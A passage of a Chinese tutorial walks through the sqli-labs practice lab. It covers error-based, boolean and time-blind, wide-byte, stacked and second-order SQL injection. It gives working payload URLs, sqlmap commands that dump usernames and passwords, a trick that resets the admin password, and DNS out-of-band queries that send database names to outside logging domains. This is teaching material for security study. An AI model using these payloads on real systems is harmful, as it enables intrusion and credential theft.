```  7、利用MySQL自带数据库information_schema ```URL http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- q ```   8、查看users表中的字段名 ``` http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1) -- q ```     得出users表中有三个字段名:id、username、password 9、分别得出username和password 字段数据 第一个username字段数据Dumb  第一个password字段数据:Dumb  # 五、布尔盲注 ## 利用场景 - 在有些情况下,后台使用了错误信息屏蔽方法(比如@),屏蔽了报错, - 无法在根据报错信息来进行注入的判断,该情况称为"盲注" ## 表现形式 - based boolean (布尔盲注) - based time(时间盲注) ## 布尔盲注 - 传入“”错误“”参数和“正确”参数,观察页面是否发生了变化。 ## 所用函数 - length() 获取字符串的长度 - substr() 截取字符串 语法:substr(string,num start,num length) string 字符串;start 起始位置(从1开始);截取长度 - ascii() 把字符转换为ascii码值 ## 靶场Less-8 1、进入靶场,只显示了you are in..  2、将1改为0,观察页面是否发生了变化 you are in... 这三个单词不见了 页面发生变化  3、貌似是布尔盲注,通过探测得知为字符型布尔盲注   4、使用substr() 探测数据库版本号 本地操作:  靶场: http://127.0.0.1/sqli/Less-8/?id=1' and substr(version(),1,1) = 5-- q   5、版本号5.0以上,使用length() 探测数据库名的长度   6、得知数据库名长度为8,可进行猜单词,会不会是security,8个字母 使用 substr()、ascii()验证猜想  得知s字母的在ASCII码表中的数字是115 故可以构造poc ```sql ascii(substr(database(),0,1))=115 ```   可以验证当前数据库名的第一个单词是s,猜想正确 验证第二个   第二个单词为e,猜想正确 接下来进行一一猜解 7、知道了数据库名后,又知道版本号为5.0以上版本,故可利用information_schema数据库进行爆出相关数据 利用方法与上一步同理 8、由于一个单词一个单词猜解,过于费时费力,所以可以使用自动化工具SQLMap ## SQLMap跑布尔盲注 **基本操作** ``` 可以使用 --technique 指定SQLMap探测技术 支持的探测方式有: - B: 基于Boolean的盲注(Boolean based blind) - Q: 内联查询(inlin queries) - T:基于时间的盲注(time based blind) - U: 联合查询(union query based) - E: 错误(errorbased) ``` 1、由于已经知道存在 布尔盲注 ```sql python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B --current-db ``` 得出当前数据库名security  2、跑security数据库下的表面 ``` python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security --tables ```  3、跑出 users表下的字段名 ``` python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security -T users --columns ```  4、跑出id、username、password的数据 ``` python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security -T users -C id,username,password --dump ```  # 六、时间盲注 时间盲注也称为延时注入。 ## 利用场景 如果说基于Boolean的盲注在页面上可以看到0 or 1 的回显,那么时间盲注完全啥都看不到 但可以通过特定的输入,判断后台的执行时间,从而确定注入 ## 所用函数 - sleep() 让程序挂起,单位秒 - if(condition,value_if_true,value_if_false) 语法:当condition为真时,返回value_if_true,否则返回value_if_false - length() 获取字符串的长度 - substr() 截取字符串 语法:substr(string,num start,num length) string 字符串;start 起始位置(从1开始);截取长度 - ascii() 把字符转换为ascii码值 ## 靶场Less-9 1、进入靶场  2、输出错误参数,页面无变化  3、加上 and sleep()函数 尝试让页面休眠10秒  页面貌似延迟为2s 没有执行sleep()函数,猜想会不会是字符串型,换为' and sleep(10) -- q   执行成功,判断存在时间盲注 4、探测if语句是否可以使用 http://127.0.0.1/sqli/Less-9/?id=1' and if(1=2,sleep(20),null) -- q  http://127.0.0.1/sqli/Less-9/?id=1' and if(1=1,sleep(20),null) -- q  5、if语句可以使用,进行判断版本号 ``` http://127.0.0.1/sqli/Less-9/?id=1' and if( length(substr(select version(),1,1))=5,null,sleep(5)) -- q ```  版本号为5.0版本以上 6、判断当前数据库名 ``` http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1)) >120,null,sleep(5)) -- q ```  ``` http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1)) <120,null,sleep(5)) -- q ```  ``` http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1)) =115,null,sleep(5)) -- q ```   得知第一个单词为s 按照以上步骤,依次猜解 最终得到当前数据库名为security 7、其他信息与上述步骤同理,一个一个猜解 8、由于太过于费事费力,可以使用自动化工具SQLMap ## SQLMap跑时间盲注 ``` 使用 --technique 指定SQLMap探测技术 支持的探测方式有: - B: 基于Boolean的盲注(Boolean based blind) - Q: 内联查询(inlin queries) - T:基于时间的盲注(time based blind) - U: 联合查询(union query based) - E: 错误(errorbased) -time-sec参数设定延时时间,默认是5秒。 ``` 1、得出当前数据库名 ``` python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 --current-db ```  2、得出security数据库下的表面 ``` python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 -D security --tables ```  3、跑 users表下面的字段 ``` python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 -D security -T users --columns ```  4、跑出跑出users表中跑出id、username、password字段数据 ``` python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 -D security -T users -C id,username,password --dump ```  # 七、宽字节注入 ## 原理 GBK编码是占用两个字节,ASCII编码是占用一个字节。 在PHP中的编码方式为GBK,在函数执行添加的是ASCII编码,在mysql中国默认字符集是GBK等宽字节字符集(GBK属于宽字符集中的一种), 而mysql中使用的默认的GBK编码方式是导致宽字节注入的根源。 - GBK 编码 两个字节表示一个字符 - ASCII 编码 一个字节表示一个字符 - MYSQL默认字节集是GBK等宽字节字符集 ## addslashes()函数 ``` addslashes ( string `$str` ) : string 返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。 这些字符是单引号(`'`)、双引号(`"`)、反斜线(`\`)与 NUL(**`null`** 字符)。 只要注入' " \ 空字符 都会转义为 \' \" \\ \ 魔术单引号同理【PHP5.4及其以上魔术引号是被删除了】 ``` ## 利用场景 如果网站使用了 addslashes()函数函数或者开启了魔术单引号,恰巧MYSQL数据库为GBK,就会造成宽字节注入 ``` %DF': - 会被PHP当中的addslashes函数转义为:%DF\' - \ 会被URL编码为 %5C - 那么 %DF' 会被转义为 %DF%5C%27 - %DF%5C%27是一个宽字节 也就是一个縗' 从而可以进行构造闭合,进行注入 小技巧:有的时候我们也可以用16进制来代替字符串 ``` ## URL编码 - %27---------单引号 - %20----------空格 - %23-----------#号 - %5c------------\反斜杠 ## 靶场Less-33 1、访问网站   2、当在id后面加上反斜杠时  反斜杠被进行了转义 3、输入单引号时  同样被进行了转义 4、输入%DF'时  网页进行了报错 5、加上注释符之后成功闭合  6、探测字段数 ``` http://192.168.168.129/sqli/Less-33/?id=2%df' order by 4-- qwe ```  ``` http://192.168.168.129/sqli/Less-33/?id=2%df' order by 3-- qwe ```  7、探测显示位 ``` http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,2,3-- qwe ```  8、当前数据库和版本号 ``` http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),version()-- qwe ```  9、爆表 ``` http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe ```  10、爆字段数 爆emails表的字段,由于单引号不能用,这里可以使用子查询或者将emails转为16进制的方法。 emails对应的16进制为0x656d61696c73 ``` http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x656d61696c73 -- qwe ```  11、出数据 ``` http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,group_concat(id),group_concat(email_id) from emails -- qwe ```  ## SQLMap跑宽字节注入 ``` 在已知存在宽字节注入的情况下,可使用sqlmap的参数: --tamper unmagicquotes.py ``` # 八、堆叠注入 ## 原理 在SQL数据库中,每条语句是以`;`分开的,堆叠注入就是一次性注入并执行多条语句(多语句之间以分号隔开)的注入方式。 ## 局限性 - 多语句执行受数据库类型、API、数据引擎的限制,有的不能实现; - 增删改也收到用户权限的限制。 ## 靶场Less-38 1、单引号构造闭合 ``` http://192.168.168.129/sqli/Less-38/?id=1' -- qwe ```  2、新建一张数据表 ``` http://192.168.168.129/sqli/Less-38/?id=1'; select * from users;create table user like users; -- qwe ```   3、新建用户 ``` http://192.168.168.129/sqli/Less-38/?id=1'; insert into users values(20,'mark','mark');-- qwe ```   # 九、二次注入 ## 原理 二次注入是指已存储(数据库、文件)的数据输入被读取后再次进入到 SQL 查询语句中导致的注入。 二次注入是通过**与数据库服务器进行交互的过程再次进行注入**。  ## 利用条件 - 用户输入恶意语句。 - 数据库把用户输入的数据没有做任何更改,直接进行了存储。 - 再用户取出数据的过程中,数据库将用户输入的数据完整且没有做任何修饰的展示给用户。 ## 靶场Less-24 1、一个登录界面,可进行更改密码、注册用户  2、查看数据库中原有的数据  3、目的:改掉admin用户的密码 4、注册用户 ``` 注册用户名为admin' -- q 密码为123456 ```  5、注册成功  6、查看数据库有无增加用户  7、使用用户名admin' -- q 登录 8、观察admin用户的密码为admin  9、更改admin' -- q用户的密码为654321   10、再次查看数据库  观察到新注册的用户admin' -- q 密码没改变,admin用户的密码却更改为654321 11、使用admin用户登录  登录成功 ## 能够更改admin密码原理 1、更改密码处的后端代码 ```php $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' " ``` 2、当我们使用admin' -- q用户名 更改密码时 代码变为 ```php $sql = "UPDATE users SET PASSWORD='$pass' where username='admin' -- q' and password='$curr_pass' " ``` username='admin' -- q'==>此处admin'构成闭合,用户名变为amdin用户,-- q则注释了后面的单引号。 故可以使用 用户名admin' -- q 密码123456 登录,然后更改用户名admin的密码。 # 十、DNS外带注入 ## 漏洞描述 DNS Out-of-band Injection,简称 OOB DNS 注入(带外注入) 无数据回显、无报错信息、页面真假一模一样、sleep延时函数被 WAF 拦截,报错注入、布尔盲注、时间盲注全部失效时。 攻击者诱导目标 MySQL 数据库主动向外网发送 DNS 解析请求,把数据库里的账号、库名、表名拼进域名里,通过 DNS 解析日志直接偷出数据。 核心特点:数据不走浏览器 HTTP 回显,走 DNS 协议外传,页面显示什么完全不影响。 ## 漏洞原理 > UNC路径 UNC(Universal Naming Convention,通用命名规范),Windows 系统专属的网络路径格式。 固定格式: ```txt \\主机地址\共享目录 \\192.168.1.5\share ``` 访问局域网里 IP 为 192.168.1.5的电脑下,名为 share 的共享文件夹。 > 函数 mysql函数load_file():读取服务器本地文件。 > DNS解析规则 互联网域名解析规则:子域名.主域名,全部会被 DNS 服务器完整记录。 > 原理 load_file() 本来是读取本地文件,但是只要遇到 \\\域名或者IP地址这种UNC的格式。MySQL就会认为,这是一台远程网络主机,要进行连接。 想要连接远程主机,如果主机地址是域名形式,那么系统必须先做DNS域名解析,解析请求会被DNS日志记录。 > 例如: ```txt load_file(concat('\\',(select database()),'.ceye.io\\1')) 拼接之后: \\test_db.ceye.io\1 ``` ```txt \\:UNC 路径开头标识 test_db:从数据库查出来的数据 .ceye.io:接收域名 \1:随便写的占位目录,无意义 MySQL 执行这条语句 → 触发解析域名 → 数据外带 ``` 可以将把SQL 查询出来的数据拼在子域名位置:\\\admin_database.ceye.io\test 解析时,DNS 服务商日志会完整记录:admin_database 就是我们从数据库里拿到的敏感数据。 ## 前提条件 - 目标 MySQL 运行在 Windows 服务器; - Linux MySQL 默认禁用 UNC 外联解析,DNS 注入基本只适用于 Windows; - 当前数据库用户拥有 FILE 权限(root 默认拥有); - 目标服务器能访问外网,防火墙没有封禁 DNS默认53端口的出站流量; - load_file 函数未被 WAF、MySQL 配置完全封禁。 常用DNSLog日志记录平台:dnslog.org ## 实验   > MySQL - DNS数据外带 ```sql select load_file(concat("\\\\",(select database()),".0683feae.log.dnslog.pp.ua\\123")); ```  
毛林
2026年11月15日 18:27
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~